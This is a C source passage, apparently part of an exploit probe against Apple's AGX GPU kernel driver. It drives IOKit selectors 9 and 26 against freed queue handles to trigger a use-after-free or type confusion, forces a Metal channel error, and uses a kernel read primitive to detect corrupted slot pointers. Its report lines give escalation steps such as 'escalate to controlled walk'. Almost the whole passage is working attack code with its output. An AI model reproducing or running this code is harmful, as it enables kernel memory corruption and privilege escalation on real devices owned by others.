            (unsigned long long)res.live_qptr, res.freed_idx);
    uint8_t blob9[AGX_SEL9_BLOB];
    uint8_t blob26[AGX_SEL26_BLOB];
    uint8_t out9[0x400];

    /* --- sel 9 against a LIVE queue handle --- */
    craft_sel9_blob(blob9, sizeof(blob9), res.live_idx,
                    res.live_handle, res.live_qptr);
    memset(out9, 0, sizeof(out9));
    size_t o9len = sizeof(out9);
    res.sel9_live_kr = agx_tc_sel9(res.conn, blob9, sizeof(blob9), out9, &o9len);
    res.sel9_out_len = (uint32_t)o9len;
    res.total_calls++;
    res.trigger_attempts++;
    if (res.sel9_live_kr == KERN_SUCCESS) {
        res.channel_err_fired++;
    } else {
        res.total_errors++;
    }
    rpt_fmt(&R, "  sel9  LIVE  handle=0x%x stamp=%u kr=%d (%s) outLen=%u\n",
            res.live_handle, res.live_idx,
            (int)res.sel9_live_kr, kr_name(res.sel9_live_kr), res.sel9_out_len);

    /* --- sel 26 with a LIVE queue handle (not a stamp index) --- */
    craft_sel26_blob(blob26, sizeof(blob26), res.live_handle, res.live_idx);
    uint64_t sc26[4] = {
        res.live_handle,        /* scalar 0: LIVE queue handle         */
        0,                      /* scalar 1: flags                     */
        1,                      /* scalar 2: count                     */
        0                       /* scalar 3: reserved                  */
    };
    res.sel26_live_kr = agx_tc_sel26(res.conn, sc26, blob26, sizeof(blob26));
    res.total_calls++;
    res.trigger_attempts++;
    if (res.sel26_live_kr == KERN_SUCCESS) {
        res.channel_err_fired++;
    } else {
        res.total_errors++;
    }
    rpt_fmt(&R, "  sel26 LIVE  handle=0x%x scalars=[0x%x, 0, 1, 0] kr=%d (%s)\n",
            res.live_handle, res.live_handle,
            (int)res.sel26_live_kr, kr_name(res.sel26_live_kr));

    /* --- sel 9 targeting a FREED slot (UAF side) --- */
    uint32_t freed_stamp = res.freed_idx;
    uint32_t freed_handle = agx_tc_queue_handle(res.queue_out[res.freed_idx]);
    uint64_t freed_qptr   = agx_tc_queue_ptr(res.queue_out[res.freed_idx]);
    craft_sel9_blob(blob9, sizeof(blob9), freed_stamp, freed_handle, freed_qptr);
    memset(out9, 0, sizeof(out9));
    o9len = sizeof(out9);
    res.sel9_kr = agx_tc_sel9(res.conn, blob9, sizeof(blob9), out9, &o9len);
    res.total_calls++;
    res.trigger_attempts++;
    if (res.sel9_kr == KERN_SUCCESS) {
        res.channel_err_fired++;
    } else {
        res.total_errors++;
    }
    rpt_fmt(&R, "  sel9  FREED stamp=%u handle=0x%x kr=%d (%s) outLen=%u\n",
            freed_stamp, freed_handle,
            (int)res.sel9_kr, kr_name(res.sel9_kr), (uint32_t)o9len);

    /* --- sel 9 again with a zero blob (control) --- */
    memset(blob9, 0, sizeof(blob9));
    o9len = sizeof(out9);
    kern_return_t kr9z = agx_tc_sel9(res.conn, blob9, 0x40, out9, &o9len);
    res.total_calls++;
    res.trigger_attempts++;
    rpt_fmt(&R, "  sel9  zero-in kr=%d (%s)\n", (int)kr9z, kr_name(kr9z));

    /* --- sel 26 against the FREED slot (UAF side) --- */
    craft_sel26_blob(blob26, sizeof(blob26), freed_handle, freed_stamp);
    uint64_t sc26f[4] = {
        freed_handle,           /* scalar 0: freed-queue handle        */
        0x45454545ULL,          /* scalar 1: magic                     */
        res.queues_created,     /* scalar 2: queue count               */
        0                       /* scalar 3: reserved                  */
    };
    res.sel26_kr = agx_tc_sel26(res.conn, sc26f, blob26, sizeof(blob26));
    res.total_calls++;
    res.trigger_attempts++;
    if (res.sel26_kr == KERN_SUCCESS) {
        res.channel_err_fired++;
    } else {
        res.total_errors++;
    }
    rpt_fmt(&R, "  sel26 FREED stamp=%u handle=0x%x scalars=[0x%x, 0x%x, %u, 0] kr=%d (%s)\n",
            freed_stamp, freed_handle, freed_handle, 0x45454545,
            (unsigned)res.queues_created,
            (int)res.sel26_kr, kr_name(res.sel26_kr));

    /* --- sel 26 sweep: live handles of every kept queue, then freed --- */
    uint8_t blob26s[0x80];
    for (uint32_t i = 0; i < res.queues_created; i++) {
        uint32_t h = agx_tc_queue_handle(res.queue_out[i]);
        /* queue_delete_kr[i] == -1 means we never attempted the delete
           (odd / kept); SUCCESS means it is gone. */
        int is_live = (res.queue_delete_kr[i] != KERN_SUCCESS);
        craft_sel26_blob(blob26s, sizeof(blob26s), h, i);
        uint64_t sc[4] = { h, 0x1000u + i, 0, 0 };
        kern_return_t kr = agx_tc_sel26(res.conn, sc, blob26s, sizeof(blob26s));
        res.total_calls++;
        res.trigger_attempts++;
        if (kr == KERN_SUCCESS && is_live) res.channel_err_fired++;
        else if (kr != KERN_SUCCESS)       res.total_errors++;
    }
    rpt_fmt(&R, "  sel26 sweep over %u queues (%u live + %u freed) done\n",
            res.queues_created, res.queues_kept, res.queues_deleted);

    /* ---------- Phase C: Metal error trigger ---------- */
    /* A failing command buffer is the reliable way to push
       AGFIChannelErrorEventArgs into the firmware ring — the event
       handleChannelErrorEvent consumes.  Keep the live IOKit queues up
       so their stamp slots are still resident when the error lands. */
    rpt_fmt(&R, "\n[phase C] Metal error trigger (bad command buffer)\n");
    res.metal_ran = 1;
    res.metal_trigs++;
    int mtl_status = -1, mtl_err = 0;
    int mtl_rc = agx_tc_metal_error_trigger(&mtl_status, &mtl_err);
    res.metal_status = mtl_status;
    res.metal_err    = mtl_err;
    if (mtl_rc == 0) {
        res.metal_ok = 1;
        rpt_fmt(&R, "  metal status=%d err=%d\n", mtl_status, mtl_err);
        if (mtl_err) {
            res.channel_err_fired++;
            rpt_fmt(&R, "  >> Metal command buffer errored — ChannelError candidate\n");
        }
    } else {
        rpt_fmt(&R, "  metal unavailable (no Metal.framework / non-Apple build)\n");
    }

    /* ---------- observe ---------- */
    rpt_fmt(&R, "\n[observe] post-trigger state\n");
    uint8_t post_out[64];
    memset(post_out, 0, sizeof(post_out));
    size_t post_used = 0;
    res.post_kr = agx_tc_query(res.conn, AGX_SEL_QUERY_SMALL,
                               post_out, sizeof(post_out), &post_used);
    /* sel 17 is Unsupported on some open paths (baseline already failed
       on IOGPU type=1), so a non-success post_kr does NOT mean the
       connection is dead.  Treat the connection as alive when the post
       call returns the same kr as baseline (same path still answering)
       or when either call succeeded.  A newly-fatal kr (invalid right /
       invalid connection) after a working baseline is the real signal. */
    {
        int base_ok   = (res.base_kr == KERN_SUCCESS);
        int post_ok   = (res.post_kr == KERN_SUCCESS);
        int same_fail = (res.post_kr == res.base_kr);
        int fatal = (res.post_kr == KERN_INVALID_RIGHT ||
                     res.post_kr == KERN_INVALID_CAPABILITY ||
                     res.post_kr == KERN_INVALID_TASK ||
                     res.post_kr == KERN_INVALID_NAME);
        res.conn_alive = (post_ok || (base_ok && !fatal) || (!base_ok && same_fail && !fatal));
    }
    rpt_fmt(&R, "  post sel17 kr=%d (%s)  conn_alive=%d\n",
            (int)res.post_kr, kr_name(res.post_kr), res.conn_alive);

    /* KRW post-snapshot + diff. */
    if (res.krw_ran && res.slot_va_seen && krw_ok) {
        krw_snapshot(krw_ok, res.slot_va_seen, &res.slot_220_after,
                     &res.slot_228_after, &res.slot_type_after);
        int changed = (res.slot_220_before != res.slot_220_after) ||
                      (res.slot_228_before != res.slot_228_after);
        res.corrupt = changed ? 1 : 0;
        rpt_fmt(&R, "  kread slot=0x%llx\n", (unsigned long long)res.slot_va_seen);
        rpt_fmt(&R, "    +0x220 before=0x%llx after=0x%llx\n",
                (unsigned long long)res.slot_220_before,
                (unsigned long long)res.slot_220_after);
        rpt_fmt(&R, "    +0x228 before=0x%llx after=0x%llx\n",
                (unsigned long long)res.slot_228_before,
                (unsigned long long)res.slot_228_after);
        rpt_fmt(&R, "    vptr.lo before=0x%x after=0x%x\n",
                res.slot_type_before, res.slot_type_after);
        if (changed) {
            rpt_fmt(&R, "  >> CORRUPT: +0x220/+0x228 changed across trigger\n");
            /* Non-kernel pointers at those offsets are the corruption signature. */
            if (res.slot_220_after &&
                (res.slot_220_after & 0xFFFFFF0000000000ULL) !=
                    0xFFFFFF0000000000ULL) {
                rpt_fmt(&R, "  >> +0x220 is NOT a kernel pointer — OOB / type-confused\n");
            }
            if (res.slot_228_after &&
                (res.slot_228_after & 0xFFFFFF0000000000ULL) !=
                    0xFFFFFF0000000000ULL) {
                rpt_fmt(&R, "  >> +0x228 is NOT a kernel pointer — OOB / type-confused\n");
            }
        } else {
            rpt_fmt(&R, "  no change at watched offsets (single-shot; retry under load)\n");
        }
    } else {
        rpt_fmt(&R, "  kread snapshot skipped (no bridge or no anchor VA)\n");
    }

    /* ---------- cleanup ---------- */
    rpt_fmt(&R, "\n[cleanup] deleting %u remaining queues\n", res.queues_kept);
    for (uint32_t i = 0; i < res.queues_created; i++) {
        if (res.queue_create_kr[i] != KERN_SUCCESS) continue;
        if (res.queue_delete_kr[i] == KERN_SUCCESS) continue; /* already gone */
        kern_return_t kr = agx_tc_delete_queue(res.conn, res.queue_out[i]);
        res.total_calls++;
        (void)kr;
    }
    agx_tc_close(res.conn);
    rpt_fmt(&R, "  connection closed\n");

    /* ---------- verdict ---------- */
    rpt_fmt(&R, "\nverdict:\n");
    rpt_fmt(&R, "  open_ok            = %d\n", res.open_kr == KERN_SUCCESS);
    rpt_fmt(&R, "  queues_created     = %u\n", res.queues_created);
    rpt_fmt(&R, "  queues_deleted     = %u\n", res.queues_deleted);
    rpt_fmt(&R, "  queues_kept        = %u\n", res.queues_kept);
    rpt_fmt(&R, "  live_handle        = 0x%x (qptr=0x%llx)\n",
            res.live_handle, (unsigned long long)res.live_qptr);
    rpt_fmt(&R, "  other_sel_ok       = %u\n", res.other_sel_ok);
    rpt_fmt(&R, "  trigger_attempts   = %u\n", res.trigger_attempts);
    rpt_fmt(&R, "  channel_err_fired  = %u\n", res.channel_err_fired);
    rpt_fmt(&R, "  sel9_live_kr       = %d\n", (int)res.sel9_live_kr);
    rpt_fmt(&R, "  sel26_live_kr      = %d\n", (int)res.sel26_live_kr);
    rpt_fmt(&R, "  metal_ran          = %d  status=%d err=%d\n",
            res.metal_ran, res.metal_status, res.metal_err);
    rpt_fmt(&R, "  conn_alive         = %d\n", res.conn_alive);
    rpt_fmt(&R, "  corrupt            = %u\n", res.corrupt);
    if (!res.conn_alive && res.channel_err_fired) {
        rpt_fmt(&R, "  >> connection died AFTER a trigger — handleChannelErrorEvent candidate\n");
        rpt_fmt(&R, "  >> grep the crash / panic log for: AGXk: handleChannelErrorEvent\n");
        rpt_fmt(&R, "     lck_mtx_lock, work-queue walk, guilty, Type confusion\n");
    } else if (!res.conn_alive) {
        rpt_fmt(&R, "  >> connection died after trigger — check panic log\n");
        rpt_fmt(&R, "  >> grep for handleChannelErrorEvent / lck_mtx_lock / AGXk:\n");
    } else if (res.corrupt) {
        rpt_fmt(&R, "  >> corruption detected via kread — type confusion live\n");
        rpt_fmt(&R, "  >> next: pin the reused slot type, escalate to controlled walk\n");
    } else if (res.channel_err_fired) {
        rpt_fmt(&R, "  >> trigger accepted and/or Metal errored — possible ChannelError\n");
        rpt_fmt(&R, "  >> check syslog for AGXk: strings; retry under GPU load\n");
    } else {
        rpt_fmt(&R, "  >> no ChannelError proof in this single-shot run\n");
        rpt_fmt(&R, "  >> retry under GPU load; Metal path should force the error\n");
    }

verify:
#if defined(__APPLE__)
    g_agx_jmp_on = 0;
    agx_crash_guard_remove();
#endif
    rpt_fmt(&R, "\n[VERIFY] GETUID=%d AGX_OPEN=%d QUEUES_CREATED=%d QUEUES_DELETED=%d "
                "QUEUES_KEPT=%d CHANNEL_ERR=%d CORRUPT=%d CONN_ALIVE=%d "
                "SEL9_KR=%d SEL26_KR=%d SEL9_LIVE_KR=%d SEL26_LIVE_KR=%d "
                "METAL=%d METAL_ERR=%d OTHER_OK=%u TRIG=%u KRW=%d SLOT=%llx "
                "HANDLE=0x%x CRASH_SIG=%d\n",
            res.getuid_val,
            res.open_kr == KERN_SUCCESS,
            (int)res.queues_created,
            (int)res.queues_deleted,
            (int)res.queues_kept,
            (int)res.channel_err_fired,
            (int)res.corrupt,
            res.conn_alive,
            (int)res.sel9_kr,
            (int)res.sel26_kr,
            (int)res.sel9_live_kr,
            (int)res.sel26_live_kr,
            res.metal_ok,
            res.metal_err,
            res.other_sel_ok,
            res.trigger_attempts,
            res.krw_ran,
            (unsigned long long)res.slot_va_seen,
            res.live_handle,
            crash_sig);
    return R.len;
}

/* ------------------------------------------------------------------ */
/* Standalone smoke test (host)                                        */
/* ------------------------------------------------------------------ */
#ifdef AGX_TYPECONF_PROBE_MAIN
int main(void)
{
    static char buf[64 * 1024];
    size_t n = agx_typeconf_probe_run(buf, sizeof(buf), NULL);
    fwrite(buf, 1, n, stdout);
    return 0;
}
#endif
